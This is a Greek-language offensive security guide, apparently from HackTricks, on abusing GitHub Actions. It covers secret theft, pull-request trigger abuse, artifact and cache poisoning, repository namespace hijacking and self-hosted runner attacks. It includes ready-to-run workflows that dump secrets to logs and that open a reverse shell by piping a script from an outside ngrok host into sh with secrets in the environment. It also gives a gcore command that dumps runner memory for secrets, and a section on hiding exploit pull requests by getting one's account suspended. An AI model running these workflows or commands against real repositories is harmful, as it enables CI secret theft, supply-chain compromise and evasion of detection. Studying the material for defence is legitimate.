38 KiB
Κατάχρηση των Github Actions
{{#include ../../../banners/hacktricks-training.md}}
Βασικές Πληροφορίες
Σε αυτή τη σελίδα θα βρείτε:
- Μια σύνοψη όλων των επιπτώσεων ενός επιτιθέμενου που καταφέρνει να αποκτήσει πρόσβαση σε μια Github Action
- Διάφορους τρόπους για να αποκτήσετε πρόσβαση σε μια action:
- Έχοντας δικαιώματα για τη δημιουργία της action
- Κατάχρηση triggers που σχετίζονται με pull request
- Κατάχρηση άλλων τεχνικών εξωτερικής πρόσβασης
- Pivoting από ένα ήδη συμβιβασμένο repo
- Τέλος, μια ενότητα σχετικά με τις τεχνικές μετα-εκμετάλλευσης για την κατάχρηση μιας action από μέσα (λόγω των αναφερόμενων επιπτώσεων)
Σύνοψη Επιπτώσεων
Για μια εισαγωγή σχετικά με Github Actions ελέγξτε τις βασικές πληροφορίες.
Εάν μπορείτε να εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions εντός ενός repository, μπορεί να είστε σε θέση να:
- Κλέψετε μυστικά που είναι τοποθετημένα στην pipeline και καταχραστείτε τα δικαιώματα της pipeline για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως το AWS και το GCP.
- Συμβιβάσετε τις αναπτύξεις και άλλα artifacts.
- Εάν η pipeline αναπτύσσει ή αποθηκεύει περιουσιακά στοιχεία, θα μπορούσατε να αλλάξετε το τελικό προϊόν, επιτρέποντας μια επίθεση στην αλυσίδα εφοδιασμού.
- Εκτελέσετε κώδικα σε προσαρμοσμένους workers για να καταχραστείτε την υπολογιστική ισχύ και να κάνετε pivot σε άλλα συστήματα.
- Επικαλύψετε τον κώδικα του repository, ανάλογα με τα δικαιώματα που σχετίζονται με το
GITHUB_TOKEN.
GITHUB_TOKEN
Αυτό το "μυστικό" (που προέρχεται από ${{ secrets.GITHUB_TOKEN }} και ${{ github.token }}) δίνεται όταν ο διαχειριστής ενεργοποιεί αυτή την επιλογή:

Αυτό το token είναι το ίδιο που θα χρησιμοποιήσει μια Github Application, έτσι μπορεί να έχει πρόσβαση στα ίδια endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
Warning
Το Github θα πρέπει να κυκλοφορήσει μια ροή που επιτρέπει διασυνοριακή πρόσβαση εντός του GitHub, έτσι ώστε ένα repo να μπορεί να έχει πρόσβαση σε άλλα εσωτερικά repos χρησιμοποιώντας το
GITHUB_TOKEN.
Μπορείτε να δείτε τα πιθανά δικαιώματα αυτού του token στο: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Σημειώστε ότι το token λήγει μετά την ολοκλήρωση της εργασίας.
Αυτά τα tokens μοιάζουν με αυτό: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Ορισμένα ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token:
{{#tabs }} {{#tab name="Merge PR" }}
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
{{#endtab }} {{#tab name="Approve PR" }}
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
{{#endtab }} {{#tab name="Create PR" }}
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
{{#endtab }} {{#endtabs }}
Caution
Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια πάνω στο αποθετήριο και την οργάνωση.
Λίστα μυστικών στην έξοδο του Github Action
```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```Απόκτηση αντίστροφης θήκης με μυστικά
```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```Είναι δυνατόν να ελέγξετε τα δικαιώματα που έχουν δοθεί σε ένα Github Token σε άλλα αποθετήρια χρηστών ελέγχοντας τα αρχεία καταγραφής των ενεργειών:

Επιτρεπόμενη Εκτέλεση
Note
Αυτή θα ήταν η πιο εύκολη μέθοδος για να συμβιβαστούν οι Github actions, καθώς αυτή η περίπτωση υποθέτει ότι έχετε πρόσβαση για δημιουργία νέου αποθετηρίου στην οργάνωση, ή έχετε δικαιώματα εγγραφής σε ένα αποθετήριο.
Εάν βρίσκεστε σε αυτό το σενάριο, μπορείτε απλά να ελέγξετε τις Τεχνικές Μετά την Εκμετάλλευση.
Εκτέλεση από Δημιουργία Αποθετηρίου
Σε περίπτωση που τα μέλη μιας οργάνωσης μπορούν να δημιουργήσουν νέα αποθετήρια και μπορείτε να εκτελέσετε τις github actions, μπορείτε να δημιουργήσετε ένα νέο αποθετήριο και να κλέψετε τα μυστικά που έχουν οριστεί σε επίπεδο οργάνωσης.
Εκτέλεση από Νέο Κλάδο
Εάν μπορείτε να δημιουργήσετε έναν νέο κλάδο σε ένα αποθετήριο που ήδη περιέχει μια ρυθμισμένη Github Action, μπορείτε να τροποποιήσετε αυτήν, να ανεβάσετε το περιεχόμενο και στη συνέχεια να εκτελέσετε αυτήν την ενέργεια από τον νέο κλάδο. Με αυτόν τον τρόπο μπορείτε να εξάγετε μυστικά σε επίπεδο αποθετηρίου και οργάνωσης (αλλά πρέπει να γνωρίζετε πώς ονομάζονται).
Μπορείτε να κάνετε την τροποποιημένη ενέργεια εκτελέσιμη χειροκίνητα, όταν δημιουργείται ένα PR ή όταν ωθείται κάποιος κώδικας (ανάλογα με το πόσο θόρυβο θέλετε να κάνετε):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Forked Execution
Note
Υπάρχουν διάφοροι ενεργοποιητές που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να εκτελέσει μια Github Action από άλλο αποθετήριο. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς ρυθμισμένες, ένας επιτιθέμενος θα μπορούσε να είναι σε θέση να τις παραβιάσει.
pull_request
Ο ενεργοποιητής ροής εργασίας pull_request θα εκτελεί τη ροή εργασίας κάθε φορά που λαμβάνεται ένα pull request με κάποιες εξαιρέσεις: από προεπιλογή, αν είναι η πρώτη φορά που συνεργάζεστε, κάποιος διαχειριστής θα χρειαστεί να εγκρίνει την εκτέλεση της ροής εργασίας:

Note
Καθώς ο προεπιλεγμένος περιορισμός ισχύει για συνεργάτες πρώτης φοράς, θα μπορούσατε να συμβάλετε διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος και στη συνέχεια να στείλετε άλλα PR για να εκμεταλλευτείτε τα νέα σας προνόμια
pull_request.Το δοκίμασα και δεν λειτουργεί:
Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και να διαγράψετε τον λογαριασμό του.
Επιπλέον, από προεπιλογή αποτρέπει τις δικαιώματα εγγραφής και πρόσβαση σε μυστικά στο στοχευμένο αποθετήριο όπως αναφέρεται στα docs:
Με την εξαίρεση του
GITHUB_TOKEN, τα μυστικά δεν μεταφέρονται στον εκτελεστή όταν μια ροή εργασίας ενεργοποιείται από ένα forked αποθετήριο. ΤοGITHUB_TOKENέχει δικαιώματα μόνο ανάγνωσης σε pull requests από forked αποθετήρια.
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Github Action προκειμένου να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα είναι σε θέση να κλέψει μυστικά ή να αντικαταστήσει το αποθετήριο λόγω των αναφερόμενων περιορισμών.
Caution
Ναι, αν ο επιτιθέμενος αλλάξει στο PR την github action που θα ενεργοποιηθεί, η Github Action του θα είναι αυτή που θα χρησιμοποιηθεί και όχι αυτή από το αρχικό αποθετήριο!
Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμη και αν δεν υπάρχουν μυστικά ή δικαιώματα εγγραφής στο GITHUB_TOKEN, ένας επιτιθέμενος θα μπορούσε για παράδειγμα να ανεβάσει κακόβουλα αρχεία.
pull_request_target
Ο ενεργοποιητής ροής εργασίας pull_request_target έχει δικαιώματα εγγραφής στο στοχευμένο αποθετήριο και πρόσβαση σε μυστικά (και δεν ζητά άδεια).
Σημειώστε ότι ο ενεργοποιητής ροής εργασίας pull_request_target εκτελείται στο βασικό πλαίσιο και όχι σε αυτό που παρέχεται από το PR (για να μην εκτελείται μη αξιόπιστος κώδικας). Για περισσότερες πληροφορίες σχετικά με το pull_request_target ελέγξτε τα docs.
Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση, ελέγξτε αυτήν την ανάρτηση στο blog του github.
Μπορεί να φαίνεται ότι επειδή η εκτελούμενη ροή εργασίας είναι αυτή που ορίζεται στο βασικό και όχι στο PR, είναι ασφαλές να χρησιμοποιείτε pull_request_target, αλλά υπάρχουν μερικές περιπτώσεις όπου δεν είναι.
Και αυτή θα έχει πρόσβαση σε μυστικά.
workflow_run
Ο ενεργοποιητής workflow_run επιτρέπει την εκτέλεση μιας ροής εργασίας από μια διαφορετική όταν είναι completed, requested ή in_progress.
Σε αυτό το παράδειγμα, μια ροή εργασίας είναι ρυθμισμένη να εκτελείται μετά την ολοκλήρωση της ξεχωριστής ροής εργασίας "Run Tests":
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το γεγονός workflow_run μπορεί να πρόσβαση σε μυστικά και να γράψει tokens, ακόμη και αν η προηγούμενη ροή εργασίας δεν ήταν.
Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν εξαρτάται από μια ροή εργασίας που μπορεί να προκληθεί από έναν εξωτερικό χρήστη μέσω pull_request ή pull_request_target. Μερικά ευάλωτα παραδείγματα μπορούν να βρεθούν σε αυτό το blog. Το πρώτο συνίσταται στη ροή εργασίας που προκαλείται από το workflow_run να κατεβάσει τον κώδικα των επιτιθέμενων: ${{ github.event.pull_request.head.sha }}
Το δεύτερο συνίσταται στο να περάσει ένα artifact από τον μη αξιόπιστο κώδικα στη ροή εργασίας workflow_run και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά ευάλωτο σε RCE.
workflow_call
TODO
TODO: Ελέγξτε αν όταν εκτελείται από ένα pull_request ο χρησιμοποιούμενος/κατεβασμένος κώδικας είναι αυτός από την προέλευση ή από το forked PR
Κατάχρηση Εκτέλεσης Forked
Έχουμε αναφέρει όλους τους τρόπους που ένας εξωτερικός επιτιθέμενος θα μπορούσε να καταφέρει να εκτελέσει μια ροή εργασίας github, τώρα ας ρίξουμε μια ματιά στο πώς αυτές οι εκτελέσεις, αν είναι κακώς ρυθμισμένες, θα μπορούσαν να καταχραστούν:
Εκτέλεση μη αξιόπιστης checkout
Στην περίπτωση του pull_request, η ροή εργασίας θα εκτελείται στο πλαίσιο του PR (έτσι θα εκτελέσει τον κακόβουλο κώδικα του PR), αλλά κάποιος πρέπει να το εξουσιοδοτήσει πρώτα και θα εκτελείται με κάποιους περιορισμούς.
Στην περίπτωση μιας ροής εργασίας που χρησιμοποιεί pull_request_target ή workflow_run που εξαρτάται από μια ροή εργασίας που μπορεί να προκληθεί από pull_request_target ή pull_request ο κώδικας από το αρχικό repo θα εκτελείται, έτσι ο επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα.
Caution
Ωστόσο, αν η ενέργεια έχει μια ρητή PR checkout που θα πάρε τον κώδικα από το PR (και όχι από τη βάση), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τους επιτιθέμενους. Για παράδειγμα (ελέγξτε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Ο δυνητικά μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του npm install ή npm build καθώς τα σενάρια κατασκευής και τα αναφερόμενα πακέτα ελέγχονται από τον συγγραφέα του PR.
Warning
Ένας github dork για αναζήτηση ευάλωτων ενεργειών είναι:
event.pull_request pull_request_target extension:ymlωστόσο, υπάρχουν διάφοροι τρόποι για να ρυθμιστούν οι εργασίες ώστε να εκτελούνται με ασφάλεια ακόμη και αν η ενέργεια είναι ρυθμισμένη ανασφαλώς (όπως η χρήση συνθηκών σχετικά με το ποιος είναι ο ηθοποιός που δημιουργεί το PR).
Εισβολές Σκηνικών
Σημειώστε ότι υπάρχουν ορισμένα github contexts των οποίων οι τιμές είναι ελεγχόμενες από τον χρήστη που δημιουργεί το PR. Αν η github action χρησιμοποιεί αυτά τα δεδομένα για να εκτελέσει οτιδήποτε, θα μπορούσε να οδηγήσει σε εκτέλεση αυθαίρετου κώδικα:
{{#ref}} gh-actions-context-script-injections.md {{#endref}}
GITHUB_ENV Εισβολή Σκηνικού
Από τα έγγραφα: Μπορείτε να κάνετε μια μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επόμενα βήματα σε μια εργασία ροής εργασίας ορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντας αυτό στο αρχείο περιβάλλοντος GITHUB_ENV.
Αν ένας επιτιθέμενος μπορούσε να εισάγει οποιαδήποτε τιμή μέσα σε αυτή τη μεταβλητή env, θα μπορούσε να εισάγει μεταβλητές env που θα μπορούσαν να εκτελέσουν κώδικα στα επόμενα βήματα όπως LD_PRELOAD ή NODE_OPTIONS.
Για παράδειγμα (αυτό και αυτό), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή env GITHUB_ENV. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι τέτοιο για να το συμβιβάσει:

Ευάλωτες Τρίτες Ενέργειες Github
dawidd6/action-download-artifact
Όπως αναφέρθηκε σε αυτή την ανάρτηση στο blog, αυτή η Github Action επιτρέπει την πρόσβαση σε artifacts από διαφορετικές ροές εργασίας και ακόμη και αποθετήρια.
Το πρόβλημα είναι ότι αν η παράμετρος path δεν έχει οριστεί, το artifact εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που θα μπορούσαν να χρησιμοποιηθούν αργότερα ή ακόμη και να εκτελούνται στη ροή εργασίας. Επομένως, αν το Artifact είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συμβιβάσει άλλες ροές εργασίας που εμπιστεύονται το Artifact.
Παράδειγμα ευάλωτης ροής εργασίας:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Αυτή η διαδικασία θα μπορούσε να επιτεθεί με αυτό το ροή εργασίας:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Άλλες Εξωτερικές Προσβάσεις
Hijacking Διαγραφέντος Namespace Repo
Εάν ένας λογαριασμός αλλάξει όνομα, ένας άλλος χρήστης θα μπορούσε να εγγραφεί με αυτό το όνομα μετά από κάποιο χρονικό διάστημα. Εάν ένα αποθετήριο είχε λιγότερους από 100 αστέρες πριν την αλλαγή ονόματος, το Github θα επιτρέψει στον νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα αποθετήριο με το ίδιο όνομα όπως αυτό που διαγράφηκε.
Caution
Έτσι, εάν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν ανύπαρκτο λογαριασμό, είναι ακόμα πιθανό ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να συμβιβάσει την ενέργεια.
Εάν άλλα αποθετήρια χρησιμοποιούσαν εξαρτήσεις από αυτά τα αποθετήρια του χρήστη, ένας επιτιθέμενος θα είναι σε θέση να τα hijack. Εδώ έχετε μια πιο ολοκληρωμένη εξήγηση: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
Note
Σε αυτή την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέψουν να pivot από ένα αποθετήριο σε άλλο υποθέτοντας ότι έχουμε κάποια πρόσβαση στο πρώτο (ελέγξτε την προηγούμενη ενότητα).
Cache Poisoning
Ένα cache διατηρείται μεταξύ των εκτελέσεων workflow στην ίδια branch. Αυτό σημαίνει ότι εάν ένας επιτιθέμενος συμβιβάσει ένα πακέτο που στη συνέχεια αποθηκεύεται στην cache και κατεβαίνει και εκτελείται από ένα πιο προνομιούχο workflow, θα είναι σε θέση να συμβιβάσει και αυτό το workflow.
{{#ref}} gh-actions-cache-poisoning.md {{#endref}}
Artifact Poisoning
Τα workflows θα μπορούσαν να χρησιμοποιούν artifacts από άλλα workflows και ακόμη και αποθετήρια, εάν ένας επιτιθέμενος καταφέρει να συμβιβάσει την Github Action που ανεβάζει ένα artifact που χρησιμοποιείται αργότερα από άλλο workflow, θα μπορούσε να συμβιβάσει τα άλλα workflows:
{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}
Μετά την Εκμετάλλευση από μια Ενέργεια
Πρόσβαση σε AWS και GCP μέσω OIDC
Ελέγξτε τις παρακάτω σελίδες:
{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}
{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}
Πρόσβαση σε μυστικά
Εάν εισάγετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να αποκτήσετε πρόσβαση σε μυστικά:
- Εάν το μυστικό ή το token έχει οριστεί σε μια μεταβλητή περιβάλλοντος, μπορεί να προσπελαστεί άμεσα μέσω του περιβάλλοντος χρησιμοποιώντας
printenv.
Λίστα μυστικών στην έξοδο της Github Action
```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
</details>
<details>
<summary>Λάβετε αντίστροφη θήκη με μυστικά</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Αν το μυστικό χρησιμοποιείται άμεσα σε μια έκφραση, το παραγόμενο shell script αποθηκεύεται στον δίσκο και είναι προσβάσιμο.
-
cat /home/runner/work/_temp/*
- Για τις JavaScript actions, τα μυστικά αποστέλλονται μέσω μεταβλητών περιβάλλοντος.
- ```bash
ps axe | grep node
- Για μια προσαρμοσμένη ενέργεια, ο κίνδυνος μπορεί να διαφέρει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το μυστικό που απέκτησε από το επιχείρημα:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Κατάχρηση Αυτοφιλοξενούμενων εκτελεστών
Ο τρόπος για να βρείτε ποιες Github Actions εκτελούνται σε υποδομή εκτός Github είναι να αναζητήσετε runs-on: self-hosted στη διαμόρφωση yaml της Github Action.
Οι αυτοφιλοξενούμενοι εκτελεστές μπορεί να έχουν πρόσβαση σε επιπλέον ευαίσθητες πληροφορίες, σε άλλα δικτυακά συστήματα (ευάλωτα endpoints στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμα και αν είναι απομονωμένοι και καταστραφούν, περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα και η κακόβουλη μπορεί να κλέψει τα μυστικά της άλλης.
Στους αυτοφιλοξενούμενους εκτελεστές είναι επίσης δυνατό να αποκτηθούν τα μυστικά από τη διαδικασία _Runner.Listener_** που θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε βήμα, ρίχνοντας τη μνήμη της:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Ελέγξτε αυτή την ανάρτηση για περισσότερες πληροφορίες.
Github Docker Images Registry
Είναι δυνατόν να δημιουργήσετε Github actions που θα χτίσουν και θα αποθηκεύσουν μια εικόνα Docker μέσα στο Github.
Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω επεκτάσιμο:
Github Action Build & Push Docker Image
```yaml [...]-
name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
-
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
-
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
-
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
</details>
Όπως μπορείτε να δείτε στον προηγούμενο κώδικα, το Github registry φιλοξενείται στο **`ghcr.io`**.
Ένας χρήστης με δικαιώματα ανάγνωσης πάνω στο repo θα μπορεί στη συνέχεια να κατεβάσει την Docker Image χρησιμοποιώντας ένα προσωπικό access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Τότε, ο χρήστης θα μπορούσε να αναζητήσει leaked secrets in the Docker image layers:
{{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}}
Ευαίσθητες πληροφορίες στα logs του Github Actions
Ακόμα και αν το Github προσπαθεί να ανιχνεύσει τις μυστικές τιμές στα logs των actions και να αποφύγει να τις εμφανίσει, άλλα ευαίσθητα δεδομένα που θα μπορούσαν να έχουν παραχθεί κατά την εκτέλεση της ενέργειας δεν θα κρυφτούν. Για παράδειγμα, ένα JWT υπογεγραμμένο με μια μυστική τιμή δεν θα κρυφτεί εκτός αν είναι συγκεκριμένα ρυθμισμένο.
Καλύπτοντας τα Ίχνη σας
(Τεχνική από εδώ) Πρώτα απ' όλα, οποιοδήποτε PR έχει υποβληθεί είναι σαφώς ορατό στο κοινό στο Github και στον στοχοθετημένο λογαριασμό GitHub. Στο GitHub από προεπιλογή, δεν μπορούμε να διαγράψουμε ένα PR από το διαδίκτυο, αλλά υπάρχει μια ανατροπή. Για λογαριασμούς Github που είναι ανασταλμένοι από το Github, όλα τα PRs τους διαγράφονται αυτόματα και αφαιρούνται από το διαδίκτυο. Έτσι, για να κρύψετε τη δραστηριότητά σας, πρέπει είτε να κάνετε τον λογαριασμό σας GitHub ανασταλμένο είτε να σημαδευτεί ο λογαριασμός σας. Αυτό θα κρύψει όλες τις δραστηριότητές σας στο GitHub από το διαδίκτυο (βασικά θα αφαιρέσει όλα τα exploit PR σας)
Μια οργάνωση στο GitHub είναι πολύ προληπτική στην αναφορά λογαριασμών στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε “μερικά πράγματα” σε Issue και θα φροντίσουν να ανασταλεί ο λογαριασμός σας σε 12 ώρες :p και εκεί το έχετε, κάνατε το exploit σας αόρατο στο github.
Warning
Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχουν στοχοποιηθεί είναι να ελέγξουν τα logs του GitHub από το SIEM, καθώς από το UI του GitHub το PR θα έχει αφαιρεθεί.
Εργαλεία
Τα παρακάτω εργαλεία είναι χρήσιμα για να βρείτε ροές εργασίας Github Action και ακόμη και να βρείτε ευάλωτες:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
{{#include ../../../banners/hacktricks-training.md}}